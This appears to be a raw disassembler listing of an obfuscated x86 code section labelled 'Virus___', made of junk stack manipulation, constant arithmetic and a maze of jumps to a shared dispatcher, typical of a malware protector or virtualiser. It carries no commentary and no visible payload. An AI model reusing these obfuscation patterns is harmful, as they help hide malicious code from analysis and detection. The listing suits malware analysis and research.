jmp loc_558992 ; --------------------------------------------------------------------------- loc_55AEF6: ; CODE XREF: Virus___:0055C774j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55E82A ; --------------------------------------------------------------------------- loc_55AF0D: ; CODE XREF: Virus___:0055F646j sub eax, 3BC91689h sub eax, edi jmp loc_551D47 ; --------------------------------------------------------------------------- loc_55AF19: ; CODE XREF: Virus___:005559B5j sub edi, 1174E6Ah pop edx push 2BFAh mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push eax jmp loc_55AB64 ; --------------------------------------------------------------------------- loc_55AF35: ; CODE XREF: Virus___:00553829j or eax, 738D1186h and eax, 26854E1Ch shr eax, 2 xor eax, 9A14207h add ecx, eax pop eax sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55AA5B ; --------------------------------------------------------------------------- loc_55AF5E: ; CODE XREF: Virus___:0055BEE3j mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ecx jmp loc_5532E3 ; --------------------------------------------------------------------------- loc_55AF77: ; CODE XREF: Virus___:00561FBAj add eax, 64F6E78h mov esi, [esp] push esi mov esi, esp add esi, 4 push edx mov edx, 4 jmp loc_55F2A4 ; --------------------------------------------------------------------------- loc_55AF93: ; CODE XREF: Virus___:0055994Ej mov [esp], ecx push edx mov edx, 2DCC3039h mov ecx, edx mov edx, [esp] push eax jmp loc_5626B9 ; --------------------------------------------------------------------------- loc_55AFA7: ; CODE XREF: Virus___:00558CEDj add edi, edx pop edx sub edi, ebx sub edi, 2CE51F1h jmp loc_563BA5 ; --------------------------------------------------------------------------- loc_55AFB7: ; CODE XREF: Virus___:0055AB15j add esp, 4 sub esp, 4 mov [esp], esi push 70EAh mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push ebx mov ebx, 24B14D8h push ecx mov ecx, 24B14DCh xor ebx, ecx pop ecx add esi, ebx pop ebx jmp loc_55217F ; --------------------------------------------------------------------------- loc_55AFF0: ; CODE XREF: Virus___:00562F65j pop edi mov edi, ebp mov ebp, [esp] jmp loc_54FA1E ; --------------------------------------------------------------------------- loc_55AFFB: ; CODE XREF: Virus___:00564A9Ej mov bh, ch jmp loc_55DDCC ; --------------------------------------------------------------------------- loc_55B002: ; CODE XREF: Virus___:0055841Aj pop eax jmp loc_561FF3 ; --------------------------------------------------------------------------- loc_55B008: ; CODE XREF: Virus___:0055437Aj add eax, 3DFD68A1h add eax, 4C4E4968h pop edx jmp loc_55EEB4 ; --------------------------------------------------------------------------- loc_55B018: ; CODE XREF: Virus___:0056183Aj add edx, 5D657282h jmp loc_560FD0 ; --------------------------------------------------------------------------- loc_55B023: ; CODE XREF: Virus___:0055647Ej pop esi add edx, 9664B142h mov ebx, edx jmp loc_560E21 ; --------------------------------------------------------------------------- loc_55B031: ; CODE XREF: Virus___:0055883Cj mov ecx, 4 add edi, ecx pop ecx push edx mov edx, 2 jmp loc_556118 ; --------------------------------------------------------------------------- loc_55B044: ; CODE XREF: Virus___:00550EA6j mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B050: ; CODE XREF: Virus___:00553F84j mov ecx, eax push dword ptr [esp] pop eax add esp, 4 add edx, 3D4255A3h add edx, ecx sub edx, 3D4255A3h mov ecx, [esp] jmp loc_55A374 ; --------------------------------------------------------------------------- loc_55B06F: ; CODE XREF: Virus___:0055D07Ej push 32812140h pop ebp neg ebp neg ebp shr ebp, 4 sub ebp, 0E1779FDDh jmp loc_564290 ; --------------------------------------------------------------------------- loc_55B087: ; CODE XREF: Virus___:00561B0Dj sub edi, 0ABD9FB33h jmp loc_56390C ; --------------------------------------------------------------------------- loc_55B092: ; CODE XREF: Virus___:00557DDBj mov ebx, [esp] add esp, 4 jmp loc_555F81 ; --------------------------------------------------------------------------- loc_55B0A0: ; CODE XREF: Virus___:005585D4j push 4EE0h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_54FF4D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B0C4: ; CODE XREF: Virus___:005533D8j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55DE72 ; --------------------------------------------------------------------------- loc_55B0D6: ; CODE XREF: Virus___:005623DAj xchg eax, ebx jmp loc_55DABE ; --------------------------------------------------------------------------- loc_55B0DC: ; CODE XREF: Virus___:0054FCD3j add esp, 4 and eax, edx push dword ptr [esp] pop edx push ecx push esp pop ecx add ecx, 4 push edx push ebx push 32446E15h pop ebx jmp loc_564AC4 ; --------------------------------------------------------------------------- loc_55B0FB: ; CODE XREF: Virus___:0055DDAEj push 0C2Bh mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 sub esp, 4 mov [esp], edx mov edx, 134B5D9Ah jmp loc_55E581 ; --------------------------------------------------------------------------- loc_55B12D: ; CODE XREF: Virus___:0055F898j pop eax xor cl, 0BFh add dh, cl mov ecx, [esp] add esp, 4 jmp loc_55ADA1 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_54FAB9 ; --------------------------------------------------------------------------- loc_55B147: ; CODE XREF: Virus___:0055D468j push dword ptr [esp] pop esi jmp loc_5640F7 ; --------------------------------------------------------------------------- loc_55B150: ; CODE XREF: Virus___:0055F340j mov [esp], eax mov eax, 7299893Dh sub esi, eax pop eax sub ebx, esi pop esi add ebx, 1EEB7139h jmp loc_55A525 ; --------------------------------------------------------------------------- loc_55B169: ; CODE XREF: Virus___:00557C9Dj mov eax, esp add eax, 4 push 532Dh mov [esp], edi jmp loc_55B9A0 ; --------------------------------------------------------------------------- loc_55B17D: ; CODE XREF: Virus___:0056009Aj add dword ptr [esp], 4 jmp loc_564CE0 ; --------------------------------------------------------------------------- loc_55B189: ; CODE XREF: Virus___:00561CECj sub edi, 34C818F7h or ecx, edi pop edi add ecx, 769B27Eh xor ecx, 54C87B5Dh push edx mov edx, 5FE6372Ch jmp loc_55C61C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56469E ; --------------------------------------------------------------------------- loc_55B1B2: ; CODE XREF: Virus___:0054FAC5j push esi push esp pop esi push ebx mov ebx, 23D82403h not ebx shl ebx, 4 jmp loc_55A40E ; --------------------------------------------------------------------------- loc_55B1C5: ; CODE XREF: Virus___:005616F3j push eax pop ecx jmp loc_562F98 ; --------------------------------------------------------------------------- loc_55B1CC: ; CODE XREF: Virus___:00558C56j xchg edi, [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_5634E9 ; --------------------------------------------------------------------------- loc_55B1DC: ; CODE XREF: Virus___:00553998j push ebp jmp loc_5561BB ; --------------------------------------------------------------------------- loc_55B1E2: ; CODE XREF: Virus___:00564802j add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_564707 ; --------------------------------------------------------------------------- loc_55B1F5: ; CODE XREF: Virus___:0055363Ej pop ebx jmp loc_5509AC ; --------------------------------------------------------------------------- loc_55B1FB: ; CODE XREF: Virus___:00550B3Bj add ebp, 3F690494h xchg eax, ebp not eax xchg eax, ebp jmp loc_555380 ; --------------------------------------------------------------------------- loc_55B20A: ; CODE XREF: Virus___:0055DB30j shl esi, 3 sub esi, 241C1E1Bh jmp loc_551A2F ; --------------------------------------------------------------------------- loc_55B218: ; CODE XREF: Virus___:005577C1j pop eax sub esp, 4 jmp loc_550121 ; --------------------------------------------------------------------------- loc_55B224: ; CODE XREF: Virus___:00552EA8j sub al, 2Dh add al, cl add al, 2Dh push 7C35h mov [esp], edx mov dl, 0DAh add al, 17h sub al, dl sub al, 17h push dword ptr [esp] pop edx push ebx mov ebx, esp push 10C3h mov [esp], edx jmp loc_560EFA ; --------------------------------------------------------------------------- loc_55B24E: ; CODE XREF: Virus___:0055A2AAj mov [esp], cx movzx cx, al push cx pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B25E: ; CODE XREF: Virus___:00560B61j push ecx mov ecx, 3CE24FF6h add ecx, 6DFE00DAh inc ecx shr ecx, 5 shr ecx, 2 xor ecx, 73F0F376h add ebx, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx pop dword ptr [ebx] jmp loc_559E46 ; --------------------------------------------------------------------------- loc_55B28C: ; CODE XREF: Virus___:00560739j xor edi, 76321EA8h add edi, 41BB6669h jmp loc_55439B ; --------------------------------------------------------------------------- loc_55B29D: ; CODE XREF: Virus___:005613FEj push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push sp pop small word ptr [esp] jmp loc_55CBDF ; --------------------------------------------------------------------------- loc_55B2B3: ; CODE XREF: Virus___:0056138Fj push eax mov eax, 75E64CDBh push 74B4h mov [esp], esi mov esi, 1A1A5AC9h jmp loc_55E962 ; --------------------------------------------------------------------------- loc_55B2CB: ; CODE XREF: Virus___:00558686j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_55523C ; --------------------------------------------------------------------------- loc_55B2DE: ; CODE XREF: Virus___:00564BB4j pop edi jmp loc_557B6A ; --------------------------------------------------------------------------- loc_55B2E4: ; CODE XREF: Virus___:005505FEj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B2E9: ; CODE XREF: Virus___:0054FADAj or ecx, 42355BFh add ecx, 2BD08A03h mov ebx, ecx jmp loc_562B86 ; --------------------------------------------------------------------------- loc_55B2FC: ; CODE XREF: Virus___:00557B19j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_564313 ; --------------------------------------------------------------------------- loc_55B311: ; CODE XREF: Virus___:00558F63j push ax mov ah, 94h xor cl, ah pop ax jmp loc_55D84D ; --------------------------------------------------------------------------- loc_55B31E: ; CODE XREF: Virus___:0055623Ej sub edi, 1 sub edi, 3D1F2916h add esi, edi pop edi jmp loc_5571E5 ; --------------------------------------------------------------------------- loc_55B332: ; CODE XREF: Virus___:0055AC92j push ecx push 384C7F05h jmp loc_556A6B ; --------------------------------------------------------------------------- loc_55B33D: ; CODE XREF: Virus___:00551E5Bj push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 17030D97h neg ebp shr ebp, 6 push eax mov eax, 14F51496h dec eax and eax, 7BC7FC9h not eax jmp loc_559FAD ; --------------------------------------------------------------------------- loc_55B366: ; CODE XREF: Virus___:0055C923j pop ecx pop edx xor ecx, 676A1B34h sub ebx, ecx pop ecx inc ebx push ebp push 44A834BBh pop ebp jmp loc_553CD3 ; --------------------------------------------------------------------------- loc_55B37E: ; CODE XREF: Virus___:00560035j and dl, 16h jmp loc_559DF0 ; --------------------------------------------------------------------------- loc_55B386: ; CODE XREF: Virus___:00560D27j not ecx shr ecx, 4 dec ecx shl ecx, 7 jmp loc_561E57 ; --------------------------------------------------------------------------- loc_55B394: ; CODE XREF: Virus___:00551DB5j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B399: ; CODE XREF: Virus___:0055F09Cj xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5569D5 ; --------------------------------------------------------------------------- loc_55B3A7: ; CODE XREF: Virus___:0056030Dj mov edi, esp add edi, 4 push 3106h mov [esp], esi mov esi, 6CBA3D87h jmp loc_55E4CF ; --------------------------------------------------------------------------- loc_55B3C1: ; CODE XREF: Virus___:0055EEA2j pop ecx jmp loc_560E43 ; --------------------------------------------------------------------------- loc_55B3C7: ; CODE XREF: Virus___:005612CEj add esi, 4 jmp loc_5559C6 ; --------------------------------------------------------------------------- loc_55B3D2: ; CODE XREF: Virus___:0055F6FEj pop eax sub dword ptr [esp+4], 3DA72D4Ch jmp loc_559D8F ; --------------------------------------------------------------------------- loc_55B3E0: ; CODE XREF: Virus___:0055C75Aj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B3E5: ; CODE XREF: Virus___:0055DF34j add ebx, eax sub ebx, 77BD4C8Bh push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_54FF32 ; --------------------------------------------------------------------------- loc_55B3F9: ; CODE XREF: Virus___:0055D38Bj mov [esp], ebx mov ebx, 4 jmp loc_55976C ; --------------------------------------------------------------------------- loc_55B406: ; CODE XREF: Virus___:005603F8j pop edi sub edi, 7AAB413Bh mov ebp, edi pop edi push ebx mov ebx, 0DD4C96h push ebx pop edx pop ebx sub edx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 and eax, edx mov edx, [esp] push 3DEBh mov [esp], edx jmp loc_554F3F ; --------------------------------------------------------------------------- loc_55B43F: ; CODE XREF: Virus___:005617AAj add esp, 4 jmp loc_5641D3 ; --------------------------------------------------------------------------- loc_55B44A: ; CODE XREF: Virus___:00556372j push eax mov al, dl jmp loc_55A17B ; --------------------------------------------------------------------------- loc_55B452: ; CODE XREF: Virus___:00550ABDj add esp, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push 3DF772B2h mov ebx, [esp] push ebx jmp loc_559E2D ; --------------------------------------------------------------------------- loc_55B470: ; CODE XREF: Virus___:0055D4DBj not dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], ebp push 4A80h mov [esp], esp jmp loc_561D79 ; --------------------------------------------------------------------------- loc_55B48C: ; CODE XREF: Virus___:005624E2j sub ebx, esi push esi jmp loc_5539DD ; --------------------------------------------------------------------------- loc_55B494: ; CODE XREF: Virus___:0055C952j push esi not dword ptr [esp] mov esi, [esp] add esp, 4 push edx jmp loc_5574F3 ; --------------------------------------------------------------------------- loc_55B4A4: ; CODE XREF: Virus___:00561E93j add esp, 4 not ebp not ebp push 7685h mov [esp], eax mov eax, 3EAB302Bh not eax inc eax sub eax, 8B3780CCh or ebp, eax pop eax sub ebp, 22E66CEEh add ebp, 58B1CEBCh xor eax, ebp pop ebp sub esp, 4 mov [esp], ebp mov ebp, eax mov ebx, ebp jmp loc_551AD4 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp jmp loc_559E4C ; --------------------------------------------------------------------------- loc_55B4F3: ; CODE XREF: Virus___:0055E707j add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop ecx sub eax, 2B615C17h jmp loc_554D56 ; --------------------------------------------------------------------------- loc_55B50B: ; CODE XREF: Virus___:00559340j push esi mov esi, 3D9623FFh sub [esp+8], esi jmp loc_563BC7 ; --------------------------------------------------------------------------- loc_55B51A: ; CODE XREF: Virus___:00554227j mov dh, 7Dh xor dh, 0A7h add ah, dh pop edx jmp loc_552E19 ; --------------------------------------------------------------------------- loc_55B527: ; CODE XREF: Virus___:0055E475j push dword ptr [esp] mov ebp, [esp] push ebp jmp loc_5573F3 ; --------------------------------------------------------------------------- loc_55B533: ; CODE XREF: Virus___:0055E302j or ebx, 295E0481h add ebx, 0C2808009h add ebp, ebx pop ebx jmp loc_55FA90 ; --------------------------------------------------------------------------- loc_55B547: ; CODE XREF: Virus___:0055ED5Bj pop ebx xor eax, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi push ecx mov ecx, 4000h mov esi, ecx mov ecx, [esp] jmp loc_55C2CC ; --------------------------------------------------------------------------- loc_55B56E: ; CODE XREF: Virus___:00557D78j mov esi, 19AD0FD3h or esi, 3BB60341h xor esi, 64856E90h jmp loc_55E6E5 ; --------------------------------------------------------------------------- loc_55B584: ; CODE XREF: Virus___:0056157Aj pop esp push ebp mov ebp, 0BE53E589h sub ecx, 7949739Eh add ecx, ebp jmp loc_55875B ; --------------------------------------------------------------------------- loc_55B598: ; CODE XREF: Virus___:0055B897j xor ebp, 0E6DDC1D9h mov edi, ebp jmp loc_551B13 ; --------------------------------------------------------------------------- mov ax, [esp] push 4B9Eh mov [esp], eax mov eax, esp push esi mov esi, 4 add eax, esi mov esi, [esp] jmp loc_550C86 ; --------------------------------------------------------------------------- loc_55B5C3: ; CODE XREF: Virus___:00560421j sub esp, 4 mov [esp], ebx jmp loc_561AA8 ; --------------------------------------------------------------------------- loc_55B5D1: ; CODE XREF: Virus___:00554172j pop dword ptr [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] jmp loc_557F3B ; --------------------------------------------------------------------------- loc_55B5E5: ; CODE XREF: Virus___:00550FEAj push 4966h jmp loc_564AD8 ; --------------------------------------------------------------------------- loc_55B5EF: ; CODE XREF: Virus___:005520D6j mov [esp], eax push 6996h mov [esp], ecx jmp loc_55A683 ; --------------------------------------------------------------------------- loc_55B5FF: ; CODE XREF: Virus___:00557E2Bj mov [esp], edi jmp loc_56403D ; --------------------------------------------------------------------------- loc_55B607: ; CODE XREF: Virus___:0055C691j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B60C: ; CODE XREF: Virus___:0055C5B1j pop esp add ebx, 4 push ebp mov ebp, 2 add ebx, ebp pop ebp jmp loc_55483A ; --------------------------------------------------------------------------- loc_55B621: ; CODE XREF: Virus___:00552410j mov ecx, 16E2573Bh shr ecx, 5 sub ecx, 1 push edx push eax jmp loc_558DB0 ; --------------------------------------------------------------------------- loc_55B636: ; CODE XREF: Virus___:00559379j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B63B: ; CODE XREF: Virus___:00556BCBj add cl, bl add cl, 0A2h pop ebx shr cl, 6 shl cl, 2 xor cl, 0BBh push ecx jmp loc_551AB5 ; --------------------------------------------------------------------------- loc_55B650: ; CODE XREF: Virus___:00560FF5j push 36B5h mov [esp], esp jmp loc_55367C ; --------------------------------------------------------------------------- loc_55B65D: ; CODE XREF: Virus___:005585ACj mov edi, 0E4107CCh and edi, 3DF82715h jmp loc_551B9E ; --------------------------------------------------------------------------- loc_55B66D: ; CODE XREF: Virus___:0055DC96j push ebx mov ebx, esp add ebx, 4 add ebx, 2 jmp loc_558F0C ; --------------------------------------------------------------------------- loc_55B67E: ; CODE XREF: Virus___:005513F1j add bl, 6Eh add bl, al sub bl, 6Eh sub esp, 4 jmp loc_557795 ; --------------------------------------------------------------------------- loc_55B68E: ; CODE XREF: Virus___:00550E80j push ebx jmp loc_5522C0 ; --------------------------------------------------------------------------- loc_55B694: ; CODE XREF: Virus___:00559224j mov [esp], esi mov esi, 27AC3244h mov ebp, esi pop esi shl ebp, 1 add ebp, 51C36F91h xor ebp, 0EC26D92Ah xor edi, ebp pop ebp push esi mov esi, 38777EC9h inc esi xor esi, 21D96CA3h or edi, esi pop esi shl edi, 8 add edi, 1 add edi, 587C2B4Ah jmp loc_56109D ; --------------------------------------------------------------------------- loc_55B6D1: ; CODE XREF: Virus___:005592A2j push edi jmp loc_560617 ; --------------------------------------------------------------------------- loc_55B6D7: ; CODE XREF: Virus___:0055652Aj mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_562B24 ; --------------------------------------------------------------------------- loc_55B6EC: ; CODE XREF: Virus___:0055009Aj push edx mov edx, 4 sub ebp, 780712EBh add ebp, edx jmp loc_5502CF ; --------------------------------------------------------------------------- loc_55B6FF: ; CODE XREF: Virus___:00564C71j mov eax, esp push edx jmp loc_555A62 ; --------------------------------------------------------------------------- loc_55B707: ; CODE XREF: Virus___:00564702j mov [esp], edi jmp loc_560C83 ; --------------------------------------------------------------------------- loc_55B70F: ; CODE XREF: Virus___:0056095Aj push eax mov al, 83h not al inc al jmp loc_563335 ; --------------------------------------------------------------------------- loc_55B71B: ; CODE XREF: Virus___:0054FDBFj mov esp, [esp] div cl jmp loc_562FA6 ; --------------------------------------------------------------------------- loc_55B725: ; CODE XREF: Virus___:005639F9j mov [esp], eax push ebp mov ebp, 424F5156h neg ebp jmp loc_55F112 ; --------------------------------------------------------------------------- loc_55B735: ; CODE XREF: Virus___:005573B0j add esi, ebx jmp loc_555311 ; --------------------------------------------------------------------------- loc_55B73C: ; CODE XREF: Virus___:0055293Bj push esi mov esi, 73B50F30h neg esi add esi, 0B1A87DAEh xor ecx, esi pop esi push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_554D7E ; --------------------------------------------------------------------------- loc_55B75B: ; CODE XREF: Virus___:00561D58j pop esp sub esp, 4 mov [esp], ebp jmp loc_556934 ; --------------------------------------------------------------------------- loc_55B76A: ; CODE XREF: Virus___:0055ECF4j push edx push 0C6Dh mov [esp], ecx push edx mov dl, 73h push ebx mov bh, dl mov cl, bh pop ebx pop edx push ebx jmp loc_55A731 ; --------------------------------------------------------------------------- loc_55B783: ; CODE XREF: Virus___:005525E7j push 62DC020Ah push dword ptr [esp] push dword ptr [esp] pop ebx push edx push esp pop edx push edi mov edi, 4 add edx, edi pop edi add edx, 4 xchg edx, [esp] jmp loc_562718 ; --------------------------------------------------------------------------- loc_55B7A9: ; CODE XREF: Virus___:00559E37j add esp, 4 and eax, 534730FCh shr eax, 3 dec eax xor eax, 6F17C8FBh xor ecx, eax pop eax add edi, ecx jmp loc_56380B ; --------------------------------------------------------------------------- loc_55B7C4: ; CODE XREF: Virus___:005637A4j and edx, 42022687h xor edx, 319A760Bh add ebp, edx mov edx, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_556607 ; --------------------------------------------------------------------------- loc_55B7E9: ; CODE XREF: Virus___:005614A6j mov ebp, eax pop eax xor ebp, edi pop edi push esi push edi jmp loc_55AAD8 ; --------------------------------------------------------------------------- loc_55B7F6: ; CODE XREF: Virus___:0055648Dj pop eax pop dword ptr [esp] pop esp add esi, 103A5830h add esi, 2C12BADh pop ebx jmp loc_55BB82 ; --------------------------------------------------------------------------- loc_55B80D: ; CODE XREF: Virus___:0055EBAAj add esp, 4 pop ebp jmp loc_557380 ; --------------------------------------------------------------------------- loc_55B819: ; CODE XREF: Virus___:005557AAj push eax mov eax, 28C13E57h mov ebx, 785502EBh jmp loc_5561A8 ; --------------------------------------------------------------------------- loc_55B829: ; CODE XREF: Virus___:00558651j add esp, 4 add edi, 4 add edi, 2 push edi push esp pop edi add edi, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 push ebx mov ebx, 4F5A04BBh shr ebx, 3 xchg esi, ebx xchg edx, esi not edx xchg edx, esi xchg esi, ebx jmp loc_554450 ; --------------------------------------------------------------------------- loc_55B867: ; CODE XREF: Virus___:005587ECj xor ebx, 219F66F4h sub esp, 4 jmp loc_564304 ; --------------------------------------------------------------------------- loc_55B878: ; CODE XREF: Virus___:005555AEj mov ecx, esp add ecx, 4 jmp loc_562F3D ; --------------------------------------------------------------------------- loc_55B885: ; CODE XREF: Virus___:00563591j xor edx, 26A71A6Fh xor edi, edx pop edx mov ebp, edi pop edi sub ebp, 502378AEh jmp loc_55B598 ; --------------------------------------------------------------------------- loc_55B89C: ; CODE XREF: Virus___:00559F8Aj xor edi, 7C1D4002h sub edi, 34327FC1h xor edi, 0DFE8D607h add ebp, edi pop edi push 32B3h jmp loc_55D083 ; --------------------------------------------------------------------------- loc_55B8BB: ; CODE XREF: Virus___:0055AB44j add ecx, 4 xchg ecx, [esp] jmp loc_54FC9D ; --------------------------------------------------------------------------- loc_55B8C9: ; CODE XREF: Virus___:00559987j not edx push 3D63h jmp loc_55EF30 ; --------------------------------------------------------------------------- push 399Eh jmp loc_5577B4 ; --------------------------------------------------------------------------- loc_55B8DF: ; CODE XREF: Virus___:005509A7j xchg ebp, [esp] jmp loc_556243 ; --------------------------------------------------------------------------- loc_55B8E7: ; CODE XREF: Virus___:005551E4j mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55B8FA: ; CODE XREF: Virus___:00553C9Fj xor ecx, 627F64D9h neg ecx jmp loc_563486 ; --------------------------------------------------------------------------- loc_55B907: ; CODE XREF: Virus___:005637FEj push ecx mov ecx, 4F26620Dh sub ebx, 3E270D34h add ebx, ecx jmp loc_5596ED ; --------------------------------------------------------------------------- loc_55B91A: ; CODE XREF: Virus___:00551960j push 537h mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp push ecx mov ch, 58h inc ch jmp loc_555E96 ; --------------------------------------------------------------------------- loc_55B93A: ; CODE XREF: Virus___:0055D527j add dword ptr [esp], 167340F8h push edx mov edx, 68E5574h add [esp+4], edx pop edx add [esp], eax jmp loc_557987 ; --------------------------------------------------------------------------- loc_55B954: ; CODE XREF: Virus___:005545D7j push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_551D52 ; --------------------------------------------------------------------------- loc_55B961: ; CODE XREF: Virus___:00562986j pop edx add ebp, ebx pop ebx push eax mov eax, 4 sub ebp, eax pop eax jmp loc_563FA6 ; --------------------------------------------------------------------------- loc_55B973: ; CODE XREF: Virus___:0054FBE7j pop edx add edx, 311640AEh add edx, edi sub edx, 311640AEh pop edi jmp loc_551727 ; --------------------------------------------------------------------------- loc_55B988: ; CODE XREF: Virus___:00561DFCj mov ecx, edi mov edi, [esp] add esp, 4 add [esp+4], ecx pop ecx mov edx, [esp] jmp loc_55136B ; --------------------------------------------------------------------------- loc_55B9A0: ; CODE XREF: Virus___:0055B178j push ebp mov ebp, 4 mov edi, ebp pop ebp sub eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] pop esp mov [esp], ebp push 4F34745Eh pop ebp push edx mov edx, 4F34745Fh mov [edi+20h], edx push dword ptr [esp] jmp loc_551D69 ; --------------------------------------------------------------------------- loc_55B9D2: ; CODE XREF: Virus___:005578CFj shr bl, 6 jmp loc_5643D6 ; --------------------------------------------------------------------------- loc_55B9DA: ; CODE XREF: Virus___:0055D492j push esp pop ebp push ecx push 1E4Dh jmp loc_554F61 ; --------------------------------------------------------------------------- loc_55B9E7: ; CODE XREF: Virus___:005543ABj or esi, 51287B81h sub esi, 7FFC7F7Dh sub edi, 40860A91h add edi, esi push ebx jmp loc_54F80A ; --------------------------------------------------------------------------- loc_55BA01: ; CODE XREF: Virus___:0055C6C6j not bh xor bh, 0F6h mov ah, bh pop ebx push ebx jmp loc_54FBA9 ; --------------------------------------------------------------------------- loc_55BA0F: ; CODE XREF: Virus___:00563F5Cj inc dl jmp loc_55FB7E ; --------------------------------------------------------------------------- loc_55BA16: ; CODE XREF: Virus___:00550403j or bh, dl pop dx add bh, 3 not bh jmp loc_552D8D ; --------------------------------------------------------------------------- loc_55BA24: ; CODE XREF: Virus___:005513D3j shr dh, 7 jmp loc_55C333 ; --------------------------------------------------------------------------- loc_55BA2C: ; CODE XREF: Virus___:0055C45Cj sub edi, 0BEDDEFDEh add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx jmp loc_55F128 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55BA4F: ; CODE XREF: Virus___:00556058j add esp, 4 not eax jmp loc_563A68 ; --------------------------------------------------------------------------- loc_55BA5C: ; CODE XREF: Virus___:0055E96Fj pop ebx push edi sub esp, 4 mov [esp], ebp mov ebp, 552334C1h push ecx mov ecx, ebp jmp loc_5508A8 ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] mov eax, [esp] push eax push esp jmp loc_564A69 ; --------------------------------------------------------------------------- loc_55BA85: ; CODE XREF: Virus___:0055277Bj sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_55EB8C ; --------------------------------------------------------------------------- loc_55BAA8: ; CODE XREF: Virus___:00557CE8j add edx, edi sub esp, 4 mov [esp], ecx mov ecx, 0D320Ch add edx, 2F3A5B1Fh sub edx, 24823978h sub edx, ecx add edx, 24823978h sub edx, 2F3A5B1Fh pop ecx mov eax, [edx] push dword ptr [esp] pop edx add esp, 4 jmp loc_55231A ; --------------------------------------------------------------------------- loc_55BAE4: ; CODE XREF: Virus___:005528B9j xor ebx, 0D8FA246Eh sub edi, ebx jmp loc_55E4FF ; --------------------------------------------------------------------------- loc_55BAF1: ; CODE XREF: Virus___:00555132j pop ebp xor ebp, 67881832h mov ecx, [esp] add esp, 4 xor [esp+4], ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_55A788 ; --------------------------------------------------------------------------- loc_55BB11: ; CODE XREF: Virus___:00562C20j mov esp, [esp] test cl, al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55BB1C: ; CODE XREF: Virus___:005648C3j add bh, al add bh, 73h mov eax, [esp] add esp, 4 xor al, bh jmp loc_5589A5 ; --------------------------------------------------------------------------- loc_55BB31: ; CODE XREF: Virus___:00561FC4j add edi, 15C6097Ah push ecx mov ecx, 320B6671h add ecx, 467B3DC0h shl ecx, 4 xor ecx, 34664E3h sub ecx, 77740ADFh add edi, ecx pop ecx xor eax, edi push dword ptr [esp] pop edi add esp, 4 push esi mov esi, eax mov ebp, esi pop esi mov eax, [esp] jmp loc_55D69B ; --------------------------------------------------------------------------- loc_55BB6C: ; CODE XREF: Virus___:00558D1Ej shr edi, 8 xor edi, 49F53928h jmp loc_5625EA ; --------------------------------------------------------------------------- loc_55BB7A: ; CODE XREF: Virus___:00550FFDj mov ecx, [esp] jmp loc_552D85 ; --------------------------------------------------------------------------- loc_55BB82: ; CODE XREF: Virus___:0055B808j xor esi, [esp] jmp loc_554EB6 ; --------------------------------------------------------------------------- loc_55BB8A: ; CODE XREF: Virus___:00555104j pop edi push 156Ah mov [esp], esi push dword ptr [esp+4] jmp loc_564286 ; --------------------------------------------------------------------------- loc_55BB9C: ; CODE XREF: Virus___:0056096Ej sub edi, 1F91326Ch add edi, eax add edi, 1F91326Ch add edi, 35C041B1h pop eax push 1DC3h jmp loc_552D1A ; 